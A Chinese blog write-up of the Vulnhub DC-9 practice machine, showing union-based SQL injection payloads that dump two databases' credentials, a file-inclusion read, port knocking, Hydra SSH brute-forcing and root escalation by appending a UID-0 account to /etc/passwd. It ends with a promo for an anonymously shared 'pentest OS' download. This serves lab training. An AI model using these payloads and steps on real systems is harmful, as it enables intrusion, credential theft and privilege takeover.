Vulnhub DC-9靶机实战

news2025/1/14 5:44:47

前言

  • 这里说一下这个靶机的难点

  • 1.这次sql注入是两个库的,在不使用sqlmap的情况下很多人直接database()看数据库,另一个库反倒没关注

  • 2.nmap的扫描方式如果用-sT的tcp连接扫端口的话是扫不到那些被防火墙过滤的端口的,直接nmap ip就可以

  • 3.在没有办法头绪的时候,不妨根据猜测去fuzz一些参数,看看能不能找到一个新思路

  • 4.对于容易信息泄露的地方要排除

  • 5.在实战的时候要根据对应的服务去找对应的思路,比如说ssh的请求被过滤了,是被什么防火墙过滤的?这个服务有些什么防范方式,这些都要去一个个排查。

  • tips:这个靶机算是比较接近实战的一个靶机了,冲吧家人们

  • 附上下载链接:https://download.vulnhub.com/dc/DC-9.zip

信息收集

image-20250107154209041

  • 这里ssh被防火墙拦截了(并非没有开,知识被拦截了)

  • 80端口开着

页面分析

首页

image-20250107132144784

  • 发现manage有个登录框,于是想到sql注入找用户名和密码进去,我们后面的思路就围绕这个展开

记录页

image-20250107133109766

  • 发现里面有用户信息

搜索页sql注入

image-20250107174144977

image-20250107130829938

  • 查询入口尝试sql注入发现有回显

查看当前表的列数

image-20250107174602392

image-20250107174617488

  • 用order by 看回显判断列数是6列

爆库

image-20250107175701686

image-20250107175800509

联合注入爆库
-1'union select 1,2,3,4,5,group_concat(schema_name) from information_schema.schemata #
-1'union select 1,2,3,4,5,database() #
可以看到有Staff员工库和users库,我们当前使用的库是staff  注意这里有两个库!!!!!!
对staff库的分析

为了避免混乱我们先分析staff库

爆表

satff库的表

image-20250107173755570

-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='Staff'#
这里有两个表,一个是details,一个是users

爆字段

StaffDetails表的字段

image-20250107173959365

Users表的字段

image-20250107173825184

查询代码
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='Users'#
​
-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='StaffDetails'#
  • 注意:这里staff库的第一个表明显是之前我们可以直接查询到的明显不是重点,所以我们看第二个表的内容就好了

爆内容

image-20250107135605978

Mary' union select 1,2,3,4,5,group_concat(Username,',',Password) from Staff.Users #(这里我用逗号隔开会好看一点)
爆了一串值,32位的,应该是md5值,我们去查一下
MD5解密

image-20250107140044680

  • 密码是transorbital1
管理员登录页分析

登录进来了

image-20250107143710064

  • 除了能够新添加一个用户以外就只有一个file不存在的提示了,只有读取了一个不存在的文件才会有这个提示,所以想到使用file参数然后fuzz爆破试试看

如下

image-20250107152339510

image-20250107150505082

  • 可以看到这是个文件读取漏洞

ssh配置文件查看

这里算比较重要的地方了,可以看到我们扫到了一个ssh的配置文件,加上刚才被nmap被过滤,我觉得应该从这里入手,直接看里面的文件信息。

image-20250107162411860

image-20250107162523014

不允许root访问,以及把22端口都注释掉了!!!那咋连接呢,在这个文件里面也没有找到更改了的其他默认端口

ssh入口分析

看似面临绝境,再去找一下ssh的防御手段,最后让我找到了下面这一篇文章!

别让黑客轻易入侵:端口敲门,让你的SSH固若金汤!-CSDN博客

我们去访问一下它的配置文件有没有,就知道是不是这个服务了

image-20250107162951722

一看确实有,还暴露了它的knock序列,7469,8475,9842,然后我们的kali安装一下他这个b服务

使用knocked敲门

image-20250107163400501

image-20250107171841474

  • 注意这里我敲了两次,因为我发现第一次敲完以后他没有开,回去看它的配置文件的时候发现要敲第二遍

准备ssh登录

image-20250107172127161

用admin账号登录发现不行。之前也没有别的登录密码的办法啊就很奇怪。大家先别急,还记得我们的另一个库吗,还没看过呢,这就是我们要分两个库分析的原因啦

对users库的分析

爆表

users库的表

image-20250107180105408

-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='users'#
可以看到只有一个UserDetails表,应该就是我们需要的密码了

爆字段

image-20250107183419766

-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='UserDetails' #
果然有密码!!
字段我们选username和password就好了

爆内容

image-20250107183818201

-1' union select 1,2,3,4,5,group_concat(Username,',',Password) from users.UserDetails #
hydra爆破

账号密码都出来了,整理一下是下面这样

image-20250107201015144

image-20250107201355945

这里-C表示使用账号密码一一对应的字典爆破,得到了三个账号和密码

信息泄露
  • 一般提权无所获,在janitor家目录下面找到一组泄露的密码

image-20250107203035170

  • 把旧密码删了然后hydra爆破

image-20250107203327103

  • 爆出了一个新用户密码

  • B4-Tru3-001

image-20250107203459223

提权

image-20250107205032615

  • 给了我们test.py的用法,但是这个不是test.py啊,我们再去找找

image-20250107205124108

  • 发现了一个root用户的py脚本

image-20250107205357280

意思是满足三个参数的条件,然后会把第二个参数的内容写到第三个参数里面去,这很简单啊,只要我们把用户的uid和gid改成0再写到passwd里面不就好了

这里去了解了一下,直接照猫画虎在passwd里面加类似的文件是行不通的,因为passwd还会到shadow里面去验证密码。有个说法说只要在passwd里面写入md5加盐的密码也可以,这里我试一下

openssl生成一个账户密码

image-20250107210218141

username:password:UID:GID:connection:home dictionary:shell 按照这个格式输入到passwd里面
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash

先写文件到有权限的目录下

image-20250107212342649

然后我们回到最开始那个test来执行(他应该是一个类似软连接的指向作用吧,反正我们也只能执行这个了。)

image-20250107212928366

执行一下提权成功

image-20250107213014978

image-20250107213046954

最后

感谢大家能够看完我的文章,小弟在这里也不虚头八脑的的去推销什么,就单纯给个工具(真心话,不是什么广告,能看到这里的也能看出来我的文章算是比较简练有效的。。)

就是分享给你们一个网络安全领域里面巨好用的windows系统(不好用直接评论区骂我无所谓的,真)

它比较适合新手小白,里面集成了大量的渗透工具,从漏洞扫描,抓包,反弹webshell,逆向等工具都有,好不好用试一试就知道了,下面是它的图片(左边有东西就不好透露啦,工具真的有很多,而且自带python,java等环境,不会有人现在还在自己花大量的时间配置把,里面还内嵌了kali,是的你没听错,一个系统在手,安全领域我有~

精简界面

image-20250113215207653

海量工具

image-20250113215348431

浏览器自带各种插件

image-20250113215523910

下面是链接

我用夸克网盘分享了「你想要的都在这」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。 链接:夸克网盘分享 提取码:kjxd

image-20250113185121589

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2276315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

语音技术与人工智能:智能语音交互的多场景应用探索

引言 近年来,智能语音技术取得了飞速发展,逐渐渗透到日常生活和各行各业中。从语音助手到智能家居控制,再到企业客服和教育辅导,语音交互正以前所未有的速度改变着人机沟通的方式。这一变革背后,人工智能技术无疑是关键…

【Vim Masterclass 笔记10】S06L23:Vim 核心操作训练之 —— 文本的搜索、查找与替换操作(第二部分)

文章目录 S06L23 Search, Find, and Replace - Part Two1 文本替换命令 :s/old/new/2 指定范围的文本替换3 特例:路径的替换4 文件行号的配置5 要点总结(1)搜索当前行(Same Line Searching)(2)跨…

Wallpaper壁纸制作学习记录14

交互式操控变形动画 操控变形动画与ScenceScript 结合使用还可用于创建交互式壁纸元素。在本次实例中,将讲解如何允许用户抓取和拖动单个骨骼。 交互式骨骼 这里提供了本次实例中的项目下载链接:果冻项目。 设置操控变形动画 为了实现这一点&#xff…

vscode 扩展Cline、Continue的差别?

Cline和Continue都是VSCode的AI编程插件,它们在功能、用户体验、性能、适用场景以及配置和使用步骤等方面存在一些差别: 一、功能差异 编辑功能 Cline:能够分析项目的文件结构和源代码抽象语法树(AST),通…

【Rust自学】12.3. 重构 Pt.1:改善模块化

12.3.0. 写在正文之前 第12章要做一个实例的项目——一个命令行程序。这个程序是一个grep(Global Regular Expression Print),是一个全局正则搜索和输出的工具。它的功能是在指定的文件中搜索出指定的文字。 这个项目分为这么几步: 接收命令行参数读取…

excel设置好的可选择列数据后,如何快速输入到单元格中?

当设置好列的【数据】-【数据有效性】-【序列】后,在单元格中输入可选择数据的开头,就会提示出对应的可选择数据,然后,按一下键盘上的【↓】键,再按回车,即可快速输入到单元格中。

Vue3.5 企业级管理系统实战(二):Router、Pinia 及 Element-Plus 集成

1 Vue Router 集成 1.1 安装 vue-router 通过 pnpm 安装 Vue Router pnpm i vue-router 1.2 配置 Router 在 src 文件夹下新建 views 文件夹,新建文件 Home.vue 和 About.vue 在 src 文件夹下新建 router 文件夹,在 router 下新建 index.ts 用来配置…

OPT: Open Pre-trained Transformer语言模型

摘要 大规模语言模型通常需要数十万计算日的训练时间,展现了在零样本和小样本学习中的显著能力。鉴于其计算成本之高,这些模型在没有大量资本投入的情况下难以复现。对于那些通过API提供的少数模型,研究者无法获取完整的模型权重&#xff0c…

【PDF转Word】 PDF在线转word文档 好用!优质网站资源推荐

大家在工作与学习中,经常需要将PDF文件转换为Word格式以便进行编辑和修改。很多人都不知道怎么操作,今天我们介绍一个非常好用的工具:小白工具网,可以在线帮忙大家快速把PDF转换成word格式。 小白工具网提供的PDF转Word功能&…

2025 年前端开发学习路线图完整指南

如果您想成为前端开发人员,本指南适合您。无论您是从零开始还是已经了解基础知识,它都会帮助您专注于真正重要的事情并学习让您脱颖而出的技能。 刚开始的时候,我浪费了几个月的时间在不相关的教程上,因为我不知道从哪里开始&…

妙用编辑器:把EverEdit打造成一个编程学习小环境

1 妙用编辑器:把EverEdit打造成一个编程学习小环境 1.1 应用场景 最近在学习Python语言,由于只是学习和练习,代码规模很小,不想惊动PyCharm、VSCode、WingIDE这些重型武器,只想轻快的敲些代码,记事本虽好&…

【江协STM32】10-4/5 I2C通信外设、硬件I2C读写MPU6050

1. I2C外设简介 STM32内部集成了硬件I2C收发电路,可以由硬件自动执行时钟生成、起始终止条件生成、应答位收发、数据收发等功能,减轻CPU的负担支持多主机模型支持7位/10位地址模式支持不同的通讯速度,标准速度(高达100 kHz),快速…

初识 Git——《Pro Git》

Why Git? 1. 本地版本控制系统 Why: 许多人习惯用复制整个项目目录的方式来保存不同的版本,或许还会改名加上备份时间以示区别。 这么做唯一的好处就是简单,但是特别容易犯错。 有时候会混淆所在的工作目录,一不小心…

记一次学习skynet中的C/Lua接口编程解析protobuf过程

1.引言 最近在学习skynet过程中发现在网络收发数据的过程中数据都是裸奔,就想加入一种数据序列化方式,json、xml简单好用,但我就是不想用,于是就想到了protobuf,对于protobuf C/C的使用个人感觉有点重,正好…

使用RSyslog将Nginx Access Log写入Kafka

个人博客地址:使用RSyslog将Nginx Access Log写入Kafka | 一张假钞的真实世界 环境说明 CentOS Linux release 7.3.1611kafka_2.12-0.10.2.2nginx/1.12.2rsyslog-8.24.0-34.el7.x86_64.rpm 创建测试Topic $ ./kafka-topics.sh --zookeeper 192.168.72.25:2181/k…

MySQL(行结构)

后面也会持续更新,学到新东西会在其中补充。 建议按顺序食用,欢迎批评或者交流! 缺什么东西欢迎评论!我都会及时修改的! MySQL 一行记录是怎么存储的? | 小林coding MySQL原理 - InnoDB引擎 - 行记录存…

ros2笔记-6.2 使用urdf创建机器人模型

本节主要跟着小鱼老师的视频操作,不同的仿真平台有不同的建模语言,但是几乎都支持URDF。 本节使用URDF创建一个机器人模型。 6.2.1 帮机器人创建一个身体 URDF使用XML来描述机器人的结构和传感器、执行器等信息。 在chapt6/chap6_ws/src创建功能包:r…

基于mybatis-plus历史背景下的多租户平台改造

前言 别误会,本篇【并不是】 要用mybatis-plus自身的多租户方案:在表中加一个tenant_id字段来区分不同的租户数据。并不是的! 而是在假设业务系统已经使用mybatis-plus多数据源的前提下,如何实现业务数据库隔开的多租户系统。 这…

【JAVA基础】Collections方法的具体使用方法

java基础中Collections及collect(toList,toSet,toMap)的用法 package com.gaofeng;import java.util.*; import java.util.function.Function; import java.util.stream.Collectors; import java.util.stream.Stream;public class demo01 {public static void main(String[] …

HDFS 的API的操作

3.1 客户端环境准备(windows) 1)拷贝hadoop-3.1.X到非中文路径(比如d:\)。 2)配置HADOOP_HOME环境变量 3)配置Path环境变量。 注意:如果环境变量不起作用,可以重启电脑试试。 也可以直接添加…